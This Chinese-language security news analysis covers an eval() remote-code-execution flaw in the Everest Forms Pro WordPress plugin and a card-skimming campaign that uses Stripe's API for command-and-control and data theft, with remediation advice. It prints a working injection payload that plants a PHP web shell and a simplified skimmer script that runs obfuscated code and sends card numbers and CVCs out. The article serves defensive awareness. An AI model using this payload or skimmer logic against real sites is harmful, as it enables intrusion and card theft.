WordPress插件一个eval()炸穿整站:Everest Forms RCE漏洞与Stripe沦为黑客C2服务器深度解析
导语:一个表单计算功能中的
eval()调用,让攻击者无需登录即可在WordPress站点上执行任意代码,创建管理员账户、植入Web Shell——这就是CVE-2026-3300。与此同时,电商Skimmer攻击正在将Stripe的合法API当作免费的命令控制基础设施,被盗信用卡数据直接存进攻击者的Stripe账户。这两起事件共同揭示了一个残酷现实:黑客正在学会”借用”你的合法基础设施来攻击你自己。
一、一个表单字段炸穿整个网站
2026年6月5日,WordPress安全公司Wordfence发布紧急警告:威胁行为者正在积极利用Everest Forms Pro插件中的一个严重远程代码执行(RCE)漏洞,编号CVE-2026-3300,CVSS评分高达9.8分(满分10分)。
Everest Forms Pro是一款流行的WordPress表单插件,约有4000个活跃安装。漏洞影响1.9.12及以下所有版本,补丁已于2026年3月18日随1.9.13版本发布。但问题在于——大量站点至今未升级。
漏洞根因:eval()的致命拥抱
漏洞出在Everest Forms Pro的”计算插件”(Calculation Addon)中。该插件提供了一个”复杂计算”功能,允许用户在表单中添加数学计算字段。
核心问题在于process_filter()函数的实现:
// 简化的漏洞代码逻辑
function process_filter($field_value) {
// sanitize_text_field() 只过滤HTML标签,不过滤PHP代码字符!
$value = sanitize_text_field($field_value);
// 直接将用户输入拼接到PHP代码字符串中
$code = "return " . $value . ";";
// 然后丢进eval()执行
return eval($code);
}
这里有两个致命错误:
第一,sanitize_text_field()不是安全函数。 WordPress官方文档明确指出,这个函数只移除HTML标签、删除换行符、剥离八进制字节。它不会转义单引号或其他PHP代码上下文字符。攻击者可以轻松构造包含PHP代码的字符串。
第二,eval()是PHP中最危险的函数之一。 将任何未经严格验证的用户输入传入eval(),等同于把服务器钥匙交给了陌生人。
攻击链:从表单到服务器控制
攻击者只需访问任何使用了”复杂计算”功能的表单页面,在任意字符串类型字段(文本、邮箱、URL、下拉选择、单选)中注入恶意PHP代码。无需登录,无需特殊权限。
攻击 payload 示例:
1'+file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')+'
这段代码在eval()中会被执行为:
return 1+file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')+';
成功执行后,攻击者即可:
- 创建流氓管理员账户——实际攻击中最常见的payload是创建名为”diksimarina”的管理员账户(邮箱:diksimarina@gmail.com)
- 部署Web Shell——获得持久化的远程访问能力
- 植入恶意脚本——进一步深入服务器,窃取数据库、安装挖矿程序等
攻击规模:超过29000次攻击尝试
根据Wordfence的监测数据:
- 攻击从2026年4月13日开始被观察到
- 截至报告发布,已阻止超过29,300次漏洞利用尝试
- 最近24小时内仍有16次攻击在进行中
- 攻击源IP包括:202.56.2.126、209.146.60.26、15.235.166.18、185.78.165.153等
这些数字表明,攻击者正在进行自动化批量扫描和攻击,任何运行了存在漏洞版本的Everest Forms Pro且使用了计算功能的WordPress站点都面临极高风险。
修复方案
如果你正在使用Everest Forms Pro:
- 立即升级到1.9.13或更高版本
- 如果暂时无法升级,禁用Calculation Addon的计算功能
- 检查是否存在可疑管理员账户,特别是”diksimarina”
- 审查服务器访问日志,查找异常的POST请求
- 使用Web应用防火墙(WAF)添加规则拦截可疑的表单提交
二、Stripe沦为黑客的免费C2服务器
在WordPress插件漏洞引发关注的同时,电商安全公司Sansec披露了一种更加精巧的攻击手法——将Stripe的合法API当作命令控制(C2)服务器和数据外泄通道。
攻击原理:信任的滥用
这类攻击之所以危险,是因为它利用了电商网站对特定域名的隐式信任。
现代电商网站广泛使用内容安全策略(CSP)来限制页面可以加载的资源来源。而googletagmanager.com和api.stripe.com这两个域名——几乎所有电商网站都会将其列入白名单。
攻击者的策略非常巧妙:
第一步:通过Google Tag Manager注入恶意代码
攻击者通过入侵网站的GTM容器,植入一个恶意的加载器脚本。由于GTM域名本身被信任,这个脚本可以正常加载。
第二步:从Stripe账户中提取恶意载荷
加载器脚本调用Stripe的Customer API,从一个特定的客户记录(cus_TfFjAAZQNOYENR)的metadata字段中提取经过混淆的Skimmer代码。是的,攻击者把恶意代码藏在了Stripe的数据库里。
第三步:在结账页面窃取信用卡数据
Skimmer代码在Magento和Adobe Commerce的结账页面上激活,捕获用户输入的信用卡号、账单信息、邮箱地址和电话号码,存储到localStorage中。
第四步:将窃取的数据回传到Stripe
被盗的信用卡信息通过Stripe API发送回攻击者的账户——每张被盗信用卡都以”客户”的形式存储在攻击者的Stripe账户中。Stripe的客服数据库变成了攻击者免费的、持久化的数据外泄存储。
// 简化的攻击逻辑
// 1. 从Stripe获取恶意代码
const customer = await fetch('https://api.stripe.com/v1/customers/cus_XXX', {
headers: { 'Authorization': 'Bearer sk_live_XXX' }
});
const skimmerCode = customer.metadata.skimmer;
// 2. 在结账页面执行
eval(atob(skimmerCode));
// 3. 窃取数据后存入Stripe
await fetch('https://api.stripe.com/v1/customers', {
method: 'POST',
headers: { 'Authorization': 'Bearer sk_live_XXX' },
body: JSON.stringify({
email: stolenCard.email,
metadata: { card: stolenCard.number, cvc: stolenCard.cvc }
})
});
为什么这种攻击极难检测?
- 域名完全合法:所有网络请求都发送到
api.stripe.com,这是正常电商流量 - 绕过CSP:CSP策略明确允许Stripe域名,不会触发告警
- 绕过网络过滤器:防火墙和IDS不会拦截发往Stripe的HTTPS请求
- 数据持久化:攻击者无需自建C2服务器,Stripe就是免费的数据库
- 攻击基础设施:该Stripe客户记录创建于2025年12月24日,意味着攻击可能已活跃超过5个月
GorgonAgora:5714个虚假.shop店铺
Sansec还披露了一个名为GorgonAgora的大规模攻击行动,该行动利用5714个虚假的.shop域名构建虚假店面网络,专门用于信用卡Skimming攻击。
此外,还发现了一个变体攻击,使用Google Firestore替代Stripe作为C2通道——同样是滥用Google的合法基础设施。
三、深层分析:基础设施武器化的新趋势
这两起事件看似不同,但共同指向一个重要的安全趋势:攻击者正在从自建恶意基础设施转向”借用”合法云服务。
传统攻击模式 vs 新型攻击模式
| 维度 | 传统模式 | 新型模式 |
|---|---|---|
| C2服务器 | 自建VPS/租用服务器 | Stripe/Firestore/GTM |
| 恶意代码托管 | 黑客论坛/暗网 | 合法SaaS平台的metadata字段 |
| 数据外泄通道 | 自建服务器/暗网市场 | 合法API接口 |
| 检测难度 | 中等(可疑IP/域名) | 极高(完全合法流量) |
| 关停难度 | 低(封禁IP/域名) | 极高(需平台配合) |
对企业的启示
-
插件安全是WordPress的生命线——一个
eval()调用就可以摧毁整个站点。选择插件时要审查其安全记录,定期更新是底线要求。 -
信任的白名单需要更精细的控制——不能因为Stripe是合法服务就无条件信任所有发往它的请求。需要监控API调用的频率、目标和数据量。
-
第三方脚本是最大的盲区——GTM、Stripe、分析工具等第三方脚本拥有访问页面所有内容的权限,一旦被入侵,影响范围极大。
-
纵深防御是唯一出路——不能依赖单一的安全层。WAF、CSP、运行时监控、定期安全审计需要多层配合。
四、行动建议
如果你运营WordPress站点
- 立即检查是否使用Everest Forms Pro,版本是否低于1.9.13
- 全面审查已安装插件中是否存在可疑管理员账户
- 部署Web应用防火墙,监控异常表单提交
- 建立插件更新机制,确保安全补丁及时应用
如果你运营电商网站
- 审查GTM容器配置,确保没有被篡改
- 监控前端JavaScript的变更,特别是结账页面
- 实施子资源完整性(SRI)校验
- 对发往Stripe等第三方API的请求进行异常流量分析
- 考虑使用客户端安全监控工具检测DOM篡改行为
对安全团队的建议
- 将”合法服务滥用”纳入威胁模型
- 在SOC中建立对合法API异常行为的检测规则
- 关注SaaS平台的metadata字段是否被滥用
- 定期进行供应链安全评估
结语:从WordPress的一个
eval()到Stripe API的”免费C2”,这两起事件告诉我们一个道理——在安全领域,最危险的攻击往往不是来自未知威胁,而是来自对已知事物的盲目信任。你的表单、你的支付网关、你的分析工具,都可能成为攻击者的跳板。安全不是一堵墙,而是一个持续验证的过程。
参考来源: – Wordfence: Attackers Actively Exploiting Critical Vulnerability in Everest Forms Pro Plugin – Sansec: Stripe API Skimmer Infrastructure – Sansec: GorgonAgora Fake Storefront Skimming Network – The Hacker News, 2026-06-05